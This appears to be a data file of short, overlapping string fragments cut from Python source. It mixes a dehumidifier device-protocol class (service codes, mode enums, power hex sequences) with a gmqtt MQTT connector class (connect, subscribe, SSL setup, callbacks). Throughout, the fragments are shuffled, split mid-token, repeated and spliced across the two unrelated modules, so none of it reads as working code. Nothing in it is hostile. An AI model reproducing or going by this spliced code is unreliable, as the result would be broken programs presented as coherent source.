=", "status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\"", "1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW = 5", "FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R", "HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService):", "= 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): #", "# SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class", "0x50 # RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls):", "0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f", "0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12", "= 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): #", "pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R =", "DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService):", "0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09", "pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R =", "= 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R =", "= 0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class", "SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET", "0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22", "55 HUMI_60 = 60 HUMI_65 = 65 HUMI_70 = 70 HUMI_75 = 75", "NORMAL = 0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c", "= 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): #", "pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R =", "0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f", "DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01", "power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service):", "DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45", "# WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01 pass", "HR_1 = 1 HR_2 = 2 HR_4 = 4 HR_6 = 6 HR_8", "REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R", "class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14", "pass if __name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT)", "0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject):", "OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW", "# TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class", "class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19", "pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW =", "NORMAL = 0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b", "class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22", "= 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R =", "ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R", "# ENG_MODE = 0x50 # RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER)", "0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService):", "'{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 = 40", "pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject):", "0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class", "= 75 @classmethod def text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW", "# DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class", "DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2 = 2", "0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R", "FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service):", "HUMI_40 = 40 HUMI_45 = 45 HUMI_50 = 50 HUMI_55 = 55 HUMI_60", "ENG_MODE = 0x50 # RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod", "__name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83", "0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13", "= 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): #", "DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01", "0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15", "# OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2 = 2 HR_4", "= 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW =", "ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3", "# DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class", "# ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class", "SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 =", "class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a", "= logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW", "# DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class", "on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): #", "= 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): #", "ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService):", "0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08", "ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW =", "0x22 # ENG_MODE = 0x50 # RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__()", "= 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): #" ]
[ "{dict} -- config of the current connection \"\"\" logger.info(\"Connected with result code %s\",", "port # topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic # connection self.connection_id =", "self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username =", "ssl from gmqtt import Client as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from", "the STOP variable so that a signal gets sent to disconnect the client", "flags rc {int} -- connection result code properties {dict} -- config of the", "executed after a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable", "= uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect", "qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is", "= True except ConnectionRefusedError as e: # raising from None suppresses the exception", "that gets executed after a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the", "to any other reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username,", "= asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth =", "def on_message(self, *args): \"\"\"on_message callback gets executed when the connection receives a message.", "rc {int} -- connection result code properties {dict} -- config of the current", "not available ConnectionFailed: If connection failed due to any other reason \"\"\" try:", "due to any other reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth:", "about the current MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic,", "will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic,", "logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback that gets executed after a", "using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop the connection with the", "code %s\", str(args[2])) # Subscribing in on_connect() means that if we lose the", "or an unknown data type.' ' Currently subscribed to 0 topics.') async def", "publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is a callback that gets exectued after", "{string} -- topic from which message was received payload {bytes} -- actual message", "\"\"\"on_disconnect is a callback that gets executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod", "ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes the message to the topic using", "self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot enable ssl", "host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is a callback", "topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop the connection with", "MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def", "properties {dict} -- config of the current connection \"\"\" logger.info(\"Connected with result code", "message QOS level (0,1,2) properties {dict} -- message properties \"\"\" logger.info(\"%s %s\", args[1],", "qos {string} -- message QOS level (0,1,2) properties {dict} -- message properties \"\"\"", "on_subscribe(*args): \"\"\"on_subscribe is a callback that gets executed after a subscription is succesful\"\"\"", "-- gmqtt.MQTTClient topic {string} -- topic from which message was received payload {bytes}", "signal gets sent to disconnect the client \"\"\" self.STOP.set() async def start(self): \"\"\"starts", "= logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors running over MQTT.", "qos=self.qos) else: logger.warning('subscribe_topic is either None or an unknown data type.' ' Currently", "code properties {dict} -- config of the current connection \"\"\" logger.info(\"Connected with result", "ssl without specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await", "callback that gets exectued after the connection is made. Arguments: client {MQTTClient} --", "import Client as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector", "uuid import ssl from gmqtt import Client as MQTTClient from .exceptions import ConnectionFailed,", "ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError", "either None or an unknown data type.' ' Currently subscribed to 0 topics.')", "str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback that gets executed", "\"\"\"starts initiates the connnection with the broker Raises: DestinationNotAvailable: If broker is not", "self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None or an unknown data type.'", "succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable so that a signal gets", "any other reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password)", "assert self.client_cert and self.client_key, \\ \"Cannot enable ssl without specifying client_cert and client_key\"", "if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot enable", "properties {dict} -- message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod", "subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is a callback that gets exectued", "self.STOP.set() async def start(self): \"\"\"starts initiates the connnection with the broker Raises: DestinationNotAvailable:", ") def on_connect(self, *args): \"\"\"on_connect is a callback that gets exectued after the", "if we lose the connection and # reconnect then subscriptions will be renewed.", "{MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic from which message was received payload", "= False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message", "args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback that gets", "level (0,1,2) properties {dict} -- message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return", "publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id) #", "for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None or an", "callback gets executed when the connection receives a message. Arguments: client {MQTTClient} --", "gets exectued after the connection is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags", "self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic", "a callback that gets exectued after the connection is made. Arguments: client {MQTTClient}", "conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and", "ConnectionRefusedError as e: # raising from None suppresses the exception chain raise DestinationNotAvailable(", "exception chain raise DestinationNotAvailable( f'Connection Failed: Error connecting to' f' {self.host}:{self.port} - {e}'", "is either None or an unknown data type.' ' Currently subscribed to 0", "initiates the connnection with the broker Raises: DestinationNotAvailable: If broker is not available", "for connectors running over MQTT. \"\"\" def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs):", "a callback that gets executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args):", "self.is_connected = True except ConnectionRefusedError as e: # raising from None suppresses the", "def on_connect(self, *args): \"\"\"on_connect is a callback that gets exectued after the connection", "-- topic from which message was received payload {bytes} -- actual message bytes", "client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected =", "connection result code properties {dict} -- config of the current connection \"\"\" logger.info(\"Connected", "to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop the", "- {e}' ) from None except Exception as e: raise ConnectionFailed(e) async def", "reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl:", "-- connection result code properties {dict} -- config of the current connection \"\"\"", "publish_topic, **kwargs): self.host = host self.port = port # topics self.subscribe_topic = subscribe_topic", "message to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop", "\"\"\"on_subscribe is a callback that gets executed after a subscription is succesful\"\"\" logger.info('Subscribed')", "is a callback that gets executed after a subscription is succesful\"\"\" logger.info('Subscribed') def", "to disconnect the client \"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates the connnection", "= self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() # options", "# callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe =", "False) self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert =", "logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors running over", "in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None or an unknown data", "import asyncio import logging import uuid import ssl from gmqtt import Client as", "received payload {bytes} -- actual message bytes received qos {string} -- message QOS", "after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback that", ") from None except Exception as e: raise ConnectionFailed(e) async def publish(self, *args,", "connecting to' f' {self.host}:{self.port} - {e}' ) from None except Exception as e:", "QOS level (0,1,2) properties {dict} -- message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2]))", "from .base import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library", "= MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect", "as e: raise ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes the message to", "subscribed to 0 topics.') async def on_message(self, *args): \"\"\"on_message callback gets executed when", "kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the details about the", "Client as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger", "disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback that gets executed", "with result code %s\", str(args[2])) # Subscribing in on_connect() means that if we", "dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and self.client_key, \\", "to 0 topics.') async def on_message(self, *args): \"\"\"on_message callback gets executed when the", "without specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs)", "that a signal gets sent to disconnect the client \"\"\" self.STOP.set() async def", "if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic,", "-- actual message bytes received qos {string} -- message QOS level (0,1,2) properties", "client {MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection flags rc {int} -- connection", "if self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot enable ssl without specifying client_cert", "# options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False)", "means that if we lose the connection and # reconnect then subscriptions will", "from None suppresses the exception chain raise DestinationNotAvailable( f'Connection Failed: Error connecting to'", "async def start(self): \"\"\"starts initiates the connnection with the broker Raises: DestinationNotAvailable: If", "kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the details about the current MQTT connection.", "current connection \"\"\" logger.info(\"Connected with result code %s\", str(args[2])) # Subscribing in on_connect()", "callback that gets executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe", "None except Exception as e: raise ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes", "{e}' ) from None except Exception as e: raise ConnectionFailed(e) async def publish(self,", "connectors running over MQTT. \"\"\" def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host", "kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert", "0 topics.') async def on_message(self, *args): \"\"\"on_message callback gets executed when the connection", "-- connection flags rc {int} -- connection result code properties {dict} -- config", "kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password", "= kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username')", "a callback that gets executed after a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self):", "gmqtt library for connectors running over MQTT. \"\"\" def __init__(self, host, port, subscribe_topic,", "client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop the connection with the MQTT", "result code properties {dict} -- config of the current connection \"\"\" logger.info(\"Connected with", "import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors", "uses gmqtt library for connectors running over MQTT. \"\"\" def __init__(self, host, port,", "{MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection flags rc {int} -- connection result", "**kwargs) async def stop(self): \"\"\"force stop the connection with the MQTT broker.\"\"\" await", "on_connect(self, *args): \"\"\"on_connect is a callback that gets exectued after the connection is", "2) def get_connection_details(self): \"\"\"get_connection_details returns the details about the current MQTT connection. \"\"\"", "self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot enable ssl without", "host, port, subscribe_topic, publish_topic, **kwargs): self.host = host self.port = port # topics", "raise ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes the message to the topic", "self.password) if self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot enable ssl without specifying", "\"\"\"sets the STOP variable so that a signal gets sent to disconnect the", "def get_connection_details(self): \"\"\"get_connection_details returns the details about the current MQTT connection. \"\"\" return", "f' {self.host}:{self.port} - {e}' ) from None except Exception as e: raise ConnectionFailed(e)", "of the current connection \"\"\" logger.info(\"Connected with result code %s\", str(args[2])) # Subscribing", "def on_subscribe(*args): \"\"\"on_subscribe is a callback that gets executed after a subscription is", "self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect =", "\"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a", "False) self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key')", "connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect", "stop(self): \"\"\"force stop the connection with the MQTT broker.\"\"\" await self.client.disconnect() self.is_connected =", "isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos)", "returns the details about the current MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host,", "= kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos =", "the connection is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection", "start(self): \"\"\"starts initiates the connnection with the broker Raises: DestinationNotAvailable: If broker is", "# client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic", "self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl =", "self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the details", "async def stop(self): \"\"\"force stop the connection with the MQTT broker.\"\"\" await self.client.disconnect()", "from None except Exception as e: raise ConnectionFailed(e) async def publish(self, *args, **kwargs):", "self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2)", "subscribe_topic, publish_topic, **kwargs): self.host = host self.port = port # topics self.subscribe_topic =", "def on_disconnect(*args): \"\"\"on_disconnect is a callback that gets executed after a disconnection occurs\"\"\"", "\"\"\"on_message callback gets executed when the connection receives a message. Arguments: client {MQTTClient}", "topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None or an unknown", "connection failed due to any other reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port)", "then subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos)", "running over MQTT. \"\"\" def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host =", "self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False)", "ask_exit(self): \"\"\"sets the STOP variable so that a signal 